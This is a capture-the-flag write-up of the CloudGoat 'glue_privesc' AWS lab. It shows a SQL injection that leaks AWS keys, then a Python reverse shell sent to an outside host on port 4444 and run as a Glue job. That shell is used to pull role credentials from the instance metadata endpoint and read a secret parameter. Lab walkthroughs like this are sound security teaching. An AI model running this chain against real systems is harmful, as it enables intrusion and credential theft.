Warning Spoilers!

This is a write up the CloudGoat scenario glue_privesc and was created by the Best of the Best 12th CGV Team (Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo).

Installation

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.

If your using custom aws profiles use the following command.

./cloudgoat.py config profile

Scenario

The goal of the scenario is to retrieve the value in an AWS parameter store.

./cloudgoat.py create glue_privesc
# cg_web_site_ip = 54.164.185.91
# cg_web_site_port = 5000

Visiting at that URL there is a webpage that shows order data.

glue_webpage

When inspecting the monitoring page there is a comment showing the query that is run in the backend Data query logic : select * from original_data where order_date='{input_date}'

Additionally there is a page to upload data files. http://54.164.185.91:5000/upload

Creating a csv file with the following information

order_data,item_id,price,country_code
2023-11-19,I6506,999.99,US

Upload it to the page and wait 3 minutes 😴

While waiting looking at the form there is a endpoint that uploads to S3.

<form id="upload-form" enctype="multipart/form-data" action="/upload_to_s3" method="post">
    <input type="file" name="file" id="file-input">
</form>

Lets try hitting it from the command line.

curl -X POST http://54.164.185.91:5000/upload_to_s3
# .......

Yikes it returns a lot of information, its complaining since we did not submit a file -F '[email protected]'.

Looking back at the monitoring page we submit a post request to get the order details. Lets see if thats vulnerabile to a SQL injection.

curl -X POST -d 'selected_date=2023-10-01' http://54.164.185.91:5000/
# Returns normal results

curl -X POST -d "selected_date=1' or 1=1--" http://54.164.185.91:5000/
# ....

The outputs of the curl command are shown rendered (Insomnia).

glue_webpage

Everything looks fine expect that there are custom inputs that I submitted order_date = 2023-11-19 and what looks to be AWS keys.

Lets that the credentials into our own local shell and enumerate them.

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUTBAXUNMZ
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XU3EWMY4TDL",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/cg-glue-admin-glue_privesc_cgid9xpmtof435"
# }

aws iam list-users
# {
#     "Users": [
#         {
#             "Path": "/",
#             "UserName": "cg-glue-admin-glue_privesc_cgid9xpmtof435",
#             "UserId": "AIDAZ6IIT5XU3EWMY4TDL",
#             "Arn": "arn:aws:iam::0123456789:user/cg-glue-admin-glue_privesc_cgid9xpmtof435",
#             "CreateDate": "2023-11-19T15:44:27+00:00"
#         },
#         {
#             "Path": "/",
#             "UserName": "cg-run-app-glue_privesc_cgid9xpmtof435",
#             "UserId": "AIDAZ6IIT5XU2IAJJSTOH",
#             "Arn": "arn:aws:iam::0123456789:user/cg-run-app-glue_privesc_cgid9xpmtof435",
#             "CreateDate": "2023-11-19T15:44:27+00:00"
#         }
#     ]
# }

aws iam list-attached-user-policies --user-name cg-glue-admin-glue_privesc_cgid9xpmtof435
# None

aws iam list-user-policies --user-name cg-glue-admin-glue_privesc_cgid9xpmtof435
# {
#     "PolicyNames": [
#         "glue_management_policy"
#     ]
# }

aws iam get-user-policy --user-name cg-glue-admin-glue_privesc_cgid9xpmtof435 --policy-name glue_management_policy
{
    "UserName": "cg-glue-admin-glue_privesc_cgid9xpmtof435",
    "PolicyName": "glue_management_policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "glue:CreateJob",
                    "iam:PassRole",
                    "iam:Get*",
                    "iam:List*",
                    "glue:CreateTrigger",
                    "glue:StartJobRun",
                    "glue:UpdateJob"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "VisualEditor0"
            },
            {
                "Action": "s3:ListBucket",
                "Effect": "Allow",
                "Resource": "arn:aws:s3:::cg-data-from-web-glue-privesc-cgid9xpmtof435",
                "Sid": "VisualEditor1"
            }
        ]
    }
}

Looking through the policy it seems that were able to create/update glue jobs and view s3 an S3 bucket.

aws s3 ls cg-data-from-web-glue-privesc-cgid9xpmtof435
# 2023-11-19 12:24:15         65 input.csv
# 2023-11-19 10:44:45        297 order_data2.csv

Original data and what we uploaded

With the IAM permissions we should be able to create our own Glue job. If found this exploit on hacktricks.xyz.

  1. First create a file called script.py and upload it to the form
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("infrasec.sh",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. Upload it to the S3 bucket
curl -X POST -F '[email protected]' http://54.164.185.91:5000/upload_to_s3
# .....

aws s3 ls cg-data-from-web-glue-privesc-cgid9xpmtof435
# 2023-11-19 12:24:15         65 input.csv
# 2023-11-19 10:44:45        297 order_data2.csv
# 2023-11-19 13:10:28        213 script.py
  1. On my machine create a NCat listener nc -lvp 4444
  2. Create a glue job to run the reverse shell script.
aws glue create-job \
    --name privesctest \
    --role arn:aws:iam::0123456789:role/ssm_parameter_role \
    --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://cg-data-from-web-glue-privesc-cgid9xpmtof435/script.py"}'

# {
#     "Name": "privesctest"
# }

The role was found using the command aws iam list-roles and then looking for a role than can be assumed by Glue.

  1. Finally all we need to do is run the job
aws glue start-job-run --job-name privesctest
# {
#     "JobRunId": "jr_44597c76d55fe46ab00696c695b998b49e4123b4777e7875f6bfd47390c89710"
# }

On our reverse shell you should see a connection

[X@infrasec ~]$ nc -lvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 107.20.50.246.
Ncat: Connection from 107.20.50.246:39826.
/bin/sh: 0: can't access tty; job control turned off
$

Lets look around on the shell and see if we can find additional IAM permissions or secrets.

$ ls -l
# total 36
# drwxr-xr-x  2 root  root 4096 Apr 26  2022 bin
# -rwxr-xr-x  3 root  root 5801 Apr 25  2022 blueprint-run-script.py
# drwx------  2 10000 root 4096 Nov 19 18:14 glue-python-scripts-zjv7wt7v
# drwxr-xr-x  3 root  root 4096 Apr 26  2022 lib
# -rw-r--r-- 19 root  root  226 Apr 26  2022 pyvenv.cfg
# -rwxr-xr-x  4 root  root 9848 Apr 25  2022 runscript.py

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUREL62DE5F:GlueJobRunnerSession",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/ssm_parameter_role/GlueJobRunnerSession"
# }

curl http://169.254.169.254/
# <h1>404 Not Found</h1>No context found for request

Hitting just the metadata endpoint fails because its using IMDSv2 but when you hit http://169.254.169.254/latest/meta-data/iam/security-credentials/ it returns the role.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# dummy

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# {"AccessKeyId":"ASIAZ6IIT5XU4JR2MMHI","SecretAccessKey":"PwOpJftIDYYw8ArDLQi3ldt7FzmlWxod1Vwk6DnI","Token":"IQoJb3JpZ2luX2VjEJP//////////wEaCXVzLWVhc3QtMSJIMEYCIQDyJ4dZD6+ZWTsAPoX+FLhQixAEZlAzAHyrfAeqDwRnpAIhANSxu45NH2j4ZjJ5fFrOMy0ynkrdr18Et56wlIddKQv7KtACCNv//////////wEQAhoMNjgzNDU0NzU0MjgxIgz4Bqr9rA633SgiXVUqpAIlWEnfR9uplavSwZ1qahfetOs7pxE5wlaEyqW3P0HaUoABjIQAcqRuyY9QpfFuescHbpICCdvXZFHfxe4TjbzjDyA3JOLyWjTTo9459cADhTWjx5AK0tVM7CbNKRiaiLtiqglF/n/UIvqSt5R4NhWd+GVJEL5RVfBPf+N0LfKjJxdASqyW9CWt6oh48HKjQ4nsyG9t6PX150Ov/+gcb8drrTCieX6tPKIT+DkNDHnR+QxhdduxkcE/iLAiI36YVbxUIKs3j3KA3wd0bdLcNAdeEtugpzqlH+NlXnkenTo9s2vBLlb5bH9srtTgki78HbtN+wcp+u1HK5m+7UpD2CrZQnylmIIFr5DStGGBoa4EL7WTXVjUu/FZdHgw8SBkQmYaZu1KMOWj6aoGOpIBkscyQtMjwCEJTh9Jm5h4BkFMGyxR+BsSsgcRPAY6lhX33YUAfGspccLz7Y6qi40Z2pFLtuI+I+KRRRB/d26TbM+69s8piaAzaEyXHDPFIXNnnAmu8eediyod9NfyKyL9EIDWAtqvL3xgyb9HjhfzghMJv2pNUH5QCKejBL9OeJNpu0g3b7a7PsG8k6hB+JccD68\u003d","Expiration":"2023-11-19T19:20:21.047Z"}

Lets take these to a new local shell. Not replace \u003d from the end of the session token with the non encoded equals character =

Export the credentials to a another local shell an enumerate the permissions to get the flag.

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU4JR2MMHI
export AWS_SECRET_ACCESS_KEY=PwOpJftIDYYw8ArDLQi3ldt7FzmlWxod1Vwk6DnI
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJP//////////wEaCXVzLWVhc3QtMSJIMEYCIQDyJ4dZD6+ZWTsAPoX+FLhQixAEZlAzAHyrfAeqDwRnpAIhANSxu45NH2j4ZjJ5fFrOMy0ynkrdr18Et56wlIddKQv7KtACCNv//////////wEQAhoMNjgzNDU0NzU0MjgxIgz4Bqr9rA633SgiXVUqpAIlWEnfR9uplavSwZ1qahfetOs7pxE5wlaEyqW3P0HaUoABjIQAcqRuyY9QpfFuescHbpICCdvXZFHfxe4TjbzjDyA3JOLyWjTTo9459cADhTWjx5AK0tVM7CbNKRiaiLtiqglF/n/UIvqSt5R4NhWd+GVJEL5RVfBPf+N0LfKjJxdASqyW9CWt6oh48HKjQ4nsyG9t6PX150Ov/+gcb8drrTCieX6tPKIT+DkNDHnR+QxhdduxkcE/iLAiI36YVbxUIKs3j3KA3wd0bdLcNAdeEtugpzqlH+NlXnkenTo9s2vBLlb5bH9srtTgki78HbtN+wcp+u1HK5m+7UpD2CrZQnylmIIFr5DStGGBoa4EL7WTXVjUu/FZdHgw8SBkQmYaZu1KMOWj6aoGOpIBkscyQtMjwCEJTh9Jm5h4BkFMGyxR+BsSsgcRPAY6lhX33YUAfGspccLz7Y6qi40Z2pFLtuI+I+KRRRB/d26TbM+69s8piaAzaEyXHDPFIXNnnAmu8eediyod9NfyKyL9EIDWAtqvL3xgyb9HjhfzghMJv2pNUH5QCKejBL9OeJNpu0g3b7a7PsG8k6hB+JccD68

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUREL62DE5F:GlueJobRunnerSession",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/ssm_parameter_role/GlueJobRunnerSession"
# }

aws ssm describe-parameters
# {
#     "Parameters": [
#         {
#             "Name": "flag",
#             "Type": "String",
#             "LastModifiedDate": "2023-11-19T10:44:28.102000-05:00",
#             "LastModifiedUser": "arn:aws:iam::0123456789:user/aaiken",
#             "Description": "this is secret-string",
#             "Version": 1,
#             "Tier": "Standard",
#             "Policies": [],
#             "DataType": "text"
#         }
#     ]
# }

aws ssm get-parameter --name flag
# {
#     "Parameter": {
#         "Name": "flag",
#         "Type": "String",
#         "Value": "Best-of-........",
#         "Version": 1,
#         "LastModifiedDate": "2023-11-19T10:44:28.102000-05:00",
#         "ARN": "arn:aws:ssm:us-east-1:0123456789:parameter/flag",
#         "DataType": "text"
#     }
# }

Cleanup

It might take a while for the scenario to be removed, AWS releases network interfaces from lambda very slowely.

rm script.py
aws glue delete-job --job-name privesctest

./cloudgoat.py destroy glue_privesc